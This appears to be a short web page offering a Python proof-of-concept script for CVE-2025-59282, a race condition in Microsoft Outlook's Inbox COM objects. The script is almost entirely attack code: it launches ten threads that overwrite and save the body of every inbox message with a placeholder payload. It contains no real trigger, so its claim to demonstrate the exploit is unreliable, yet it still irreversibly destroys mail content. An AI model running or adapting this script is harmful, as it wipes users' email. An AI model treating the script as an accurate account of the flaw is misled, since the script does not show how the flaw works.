CVE-2025-59282：Microsoft Inbox COM对象竞争条件漏洞

# CVE-2025-59282 - Microsoft Outlook Inbox COM Objects Race Condition PoC # This is a conceptual PoC demonstrating the race condition exploitation technique. # Note: Actual exploitation requires specific environmental conditions and user interaction. import threading import time import subprocess from comtypes.client import CreateObject # Outlook Application COM object OUTLOOK_PROGID = "Outlook.Application" def trigger_inbox_operation(mail_content, thread_id): """ Trigger concurrent Inbox COM object operations to exploit the race condition. Multiple threads simultaneously access shared COM resources. """ try: outlook = CreateObject(OUTLOOK_PROGID) namespace = outlook.GetNamespace("MAPI") inbox = namespace.GetDefaultFolder(6) # 6 = olFolderInbox # Concurrent operation on shared Inbox COM resource for item in inbox.Items: # Simulate rapid state changes to trigger race window item.Body = f"{mail_content} [Thread-{thread_id}]" item.Save() except Exception as e: print(f"[Thread-{thread_id}] Error: {e}") def exploit_race_condition(): """ Main exploitation function - launches multiple threads to trigger the race condition in Inbox COM Objects. """ malicious_payload = "<race_condition_trigger_payload>" threads = [] # Launch multiple concurrent threads to exploit the race window for i in range(10): t = threading.Thread( target=trigger_inbox_operation, args=(malicious_payload, i) ) threads.append(t) t.start() for t in threads: t.join() print("Race condition exploitation attempt completed.") if __name__ == "__main__": # Requires user to have opened Outlook with a crafted email exploit_race_condition()